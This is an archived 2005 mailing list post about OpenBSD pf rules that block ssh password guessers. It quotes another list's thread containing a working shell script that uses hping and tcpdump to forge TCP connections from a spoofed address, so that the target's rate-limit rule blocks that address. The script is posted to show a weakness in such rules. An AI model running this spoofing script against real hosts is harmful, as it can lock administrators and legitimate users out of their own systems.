[CDBUG-talk] pfctl -t table -T add foo.bar (so what happens on reboot?)

Sun Nov 13 22:38:10 EST 2005

On 10/6/05, Patrick Muldoon <doon at inoc.net> wrote:
>
>
> On Oct 6, 2005, at 9:17 AM, Jonathan Franks wrote:
>
> > /sbin/pfctl -t mytable -Treplace -f /etc/mytablefile
> >
> >
> > Hey thanks for the info. I've managed to dump the table to a file
> > and reconfigure. I was reading something on misc@, and I'm now
> > thinking of adding a cron job to replace the file with the table
> > contents every night. I'm having great fun with this.
> >
> > Anyhow thanks again.
> >
> > -Jonathan
> >
>
> As seen on a openbsd list... some protection to deal with this pesky
> dictionary attacks (at the moment the only port I allow in in
> tcp_services is ssh) but have been seeing an increase (again) in ssh
> password guessing attacks.
>
> From my crontab.. Dump table crackers ever hour.
> 0 * * * * /sbin/pfctl -t crackers -Tsh > /etc/tables/
> crackers
>
>
> from pf.conf
>
> #tables
> table <crackers> persist file "/etc/tables/crackers"
>
> --snip--
>
> pass in on $ext_if inet proto tcp from any to ($ext_if) \
> port $tcp_services flags S/SA modulate state \
> (max-src-conn 5, max-src-conn-rate 4/60, overload <crackers>
> flush global)

This is quite neat, Patrick. I've been using it myself... thank you. Today
on misc@ I read this and I'm wondering what you (or any of you) think about
it:

<QUOTE>

On Sat, Nov 12, 2005 at 10:16:05AM -0500, Melameth, Daniel D. wrote:
Joachim Schipper wrote:
<In response to me = Joachim saying that rate-limiting IPs connecting to
sshd is not a good idea>

>Perhaps I missed something in this thread, but what are you talking
>about? This is why you run SSH and not telnet--so that traffic sniffing
>doesn't reveal the contents of the packets. Also, quality manageable
>switches can (and should) be configured so that overloading their MAC
>table is pretty much impossible.

This is an attack against TCP, not SSH. TCP is not encrypted (usually -
IPSec or somesuch, with the proper settings, could make this impossible)
- all that's required is some sequence numbers.

And yes, a really good switch configured by something who really knows
what he's doing will protect you from this. Fail either, and there's
likely to be a way around it - and if both conditions are satisfied,
chances are you don't need to ask about ssh probes on some mailing list.
;-)

>>Methinks a combination of sniffing the return traffic (SYN/ACK) and
>>forging the response is enough (this is assuming the spoofed host does
>>not return a RST for nonsense SYN/ACKs - I'm fairly certain that
>>there's a way around that too, most likely just racing the gateway,
>>but that would complicate matters unnecessarily).

>Again I'm not certain what you are getting at here. Perhaps it's too
>early and I'm missing something, but this is another reason why one
>would run OpenBSD as the TCP stack does a lot of bounds checking and
>randomization which makes these attacks more difficult. In addition to
>this, SSH performs cryptographic session integrity. As for the gateway,
>it really has little to do with an SSH session between two hosts.

Yes, you are right that doing a blind attack of this sort would be
difficult due to OpenBSD's randomizations. That's why I propose not
doing a blind attack, i.e. sniffing the connection.

And you are right about the gateway, of course. Oops.

>>I'm thinking of a couple of hosts, attached to a hub (or 'hubbable'
>>switch).
>>
>>If this attack really doesn't work, well, I'll be happy to learn
>>something new and/or Read Some More FMP... but in the meanwhile, I can
>>live with the log entries.
>>
>>(Of course, the real Braindead Error above was me seemingly thinking
>>that dropping the default gateway would help. Instead, drop some
>>other, more interesting host.)

Consider something like the following script. It's tested a little, and
appears to work on my two OpenBSD 3.8 machines, running IPv4 on a hub.
(Sadly, lack of a suitable third machine makes testing a little
awkward.)

It requires security/hping. It also depends on the machine being spoofed
not returning RSTs for nonsense (SYN/)ACKs, and the machine being used
being able to sniff the traffic between the alleged sender and the
victim. Simply returning ACKs is not sufficient protection; a better -
C - implementation could try to outrun the ACKs. I haven't tested this,
but I believe this would allow essentially the same thing to happen.

(Note that the script does not spoof arp, so a nonexistent host on the
local network isn't going to be spoofable.)

It opens a TCP connection from $SOURCE_IP:$SOURCE_PORT to
$VICTIM_IP:$VICTIM_PORT. It does not close this, which means the
connection stays open until timeout. Given a sufficiently low limit on
connections, it can block $VICTIM_IP from accessing the specified
service.

Again, note that this is an implementation problem - a well-optimized,
multithreaded or forked implementation could block quite a few hosts in
a couple of minutes.

(Please note that the script is not wrapped. Sorry!)

** START SCRIPT **
#!/bin/sh
SOURCE_IP=192.168.0.2 <http://192.168.0.2>
# Pseudo-random
SOURCE_PORT=$( $$ + 2048 ))
VICTIM_IP=192.168.0.3 <http://192.168.0.3>
VICTIM_PORT=22

TMP=`mktemp /tmp/killer.tmp.XXXXXXXX` || exit 1
DEBUG=`mktemp /tmp/killer.debug.XXXXXXXX` || exit 1

tcpdump -Sw $TMP host $VICTIM_IP and port $VICTIM_PORT &

TCPDUMP_PID=$!

MYSEQ=$$

# Allow tcpdump time to start
sleep 3

# SYN
hping -Ss $SOURCE_PORT -a $SOURCE_IP -p $VICTIM_PORT -M $MYSEQ -c 1
$VICTIM_IP >$DEBUG 2>&1

# Wait for tcpdump, parse SYN/ACK
sleep 2
# 18:45:07.977176 192.168.0.5.37 > 192.168.0.2.22171: S [tcp sum ok]
2083463336:2083463336(0) ack 1914314338 win 16384 <mss
1460,nop,nop,sackOK,nop,wscale 0,nop,nop,timestamp 2689577347 390360937>
(DF) (ttl 64, id 37179, len 64)
PARSEME=`tcpdump -vvvnr $TMP | tee out2 | sed -ne "s/.*
$VICTIM_IP\.$VICTIM_PORT > $SOURCE_IP\.$SOURCE_PORT: S \[tcp sum ok\]
\([0-9]*\):\1(0) ack \([0-9]*\) .*/\1 \2/p"`

if [ "x$PARSEME" = "x" ]; then
echo "Parsing SYN/ACK failed. Sorry" >&2
exit 1
fi

RSEQ=`echo $PARSEME | awk '{print $1}'`
RSEQ=$(( $RSEQ + 1 ))
MYSEQ=`echo $PARSEME | awk '{print $2}'`

# Send ACK
echo "ACKing, now expecting $RSEQ"
hping -As $SOURCE_PORT -a $SOURCE_IP -p $VICTIM_PORT -M $MYSEQ -L $RSEQ -c 1
$VICTIM_IP >>$DEBUG 2>&1
MYSEQ=$(( $MYSEQ + 1 ))

# Wait for tcpdump, parse
# Give tcpdump time to finish
sleep 1
kill $TCPDUMP_PID
wait

# Debugging mode
#echo $TMP
#echo $DEBUG
rm -f $TMP $DEBUG

# Sample TCP connection - note, this is a 'real' connection to the date
# service, from OpenBSD 3.8 to OpenBSD 3.8. This script will create
# connections that don't work quite as well.
# 18:45:07.976885 192.168.0.2.22171 > 192.168.0.5.37: S [tcp sum ok]
1914314337:1914314337(0) win 16384 <mss 1460,nop,nop,sackOK,nop,wscale
0,nop,nop,timestamp 390360937 0> (DF) (ttl 64, id 26297, len 64)
# 18:45:07.977176 192.168.0.5.37 > 192.168.0.2.22171: S [tcp sum ok]
2083463336:2083463336(0) ack 1914314338 win 16384 <mss
1460,nop,nop,sackOK,nop,wscale 0,nop,nop,timestamp 2689577347 390360937>
(DF) (ttl 64, id 37179, len 64)
# 18:45:07.977226 192.168.0.2.22171 > 192.168.0.5.37: . [tcp sum ok]
1914314338:1914314338(0) ack 2083463337 win 16384 <nop,nop,timestamp
390360937 2689577347> (DF) (ttl 64, id 25497, len 52)
# 18:45:07.977621 192.168.0.5.37 > 192.168.0.2.22171: P [tcp sum ok]
2083463337:2083463341(4) ack 1914314338 win 17376 <nop,nop,timestamp
2689577347 390360937> (DF) (ttl 64, id 44729, len 56)
# 18:45:07.977694 192.168.0.5.37 > 192.168.0.2.22171: F [tcp sum ok]
2083463341:2083463341(0) ack 1914314338 win 17376 <nop,nop,timestamp
2689577347 390360937> (DF) (ttl 64, id 47193, len 52)
# 18:45:07.977716 192.168.0.2.22171 > 192.168.0.5.37: . [tcp sum ok]
1914314338:1914314338(0) ack 2083463342 win 16384 <nop,nop,timestamp
390360937 2689577347> (DF) (ttl 64, id 14034, len 52)
# 18:45:07.977921 192.168.0.2.22171 > 192.168.0.5.37: F [tcp sum ok]
1914314338:1914314338(0) ack 2083463342 win 16384 <nop,nop,timestamp
390360937 2689577347> (DF) (ttl 64, id 26754, len 52)
# 18:45:07.978228 192.168.0.5.37 > 192.168.0.2.22171: . [tcp sum ok]
2083463342:2083463342(0) ack 1914314339 win 17376 <nop,nop,timestamp
2689577347 390360937> (DF) (ttl 64, id 62141, len 52)
#
** END SCRIPT **

The whole point, of course, is that enabling such a blocking feature is
a design that should be made consciously. In some cases, there is
something to be said for doing it - but in many cases, the bother of
moving sshd to another port (which is even more effective in keeping the
logs clean) is not worth the risk of being completely locked out by a
knowledgeable attacker. Locking out the administrator's home address
(or, for dynamic addresses, ISP netblock) would make a good prelude to
some more serious 'investigations', late at night, using nessus, nmap
and some 1337 sploitz.

Thus, telling any curious newcomer to implement a counting/blocking
strategy, as seems to happen on many lists, is a bit shortsighted.
Especially in the case of sshd, where there are several better
solutions. (There is, for instance, a real case to make for IP-based
rate limiting in SMTP daemons - but moving sshd to another port and only
allowing keys makes bruteforcing sshd essentially impossible, and keeps
the hordes of zombies out there from trying...)

Joachim

</QUOTE>

I'm not capable of following the script very well at this point, but what I
get from this is that it is possible to use ones rate limiting rule against
them, and lock them out of their own box.... or am I totally missing the
point?

I've not yet set up keys, though it's on my list.... so.... is doing so and
changing ports then the way to go? Should one continue to use such a rate
limit rule on whatever port is switched to for even more robust security?

I'm interested to hear what people have to say on this.... now that the
external interface of my OBSD FW has a public address I'm suddenly seeing
attacks at the rate of about one per day. So far using the max-src-conn and
max-src-conn-rate options and dumping to a table is working very well....
but this thread made me stop and think...

-Jonathan
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.nycbug.org/pipermail/cdbug-talk/attachments/20051113/01583b7d/attachment.html>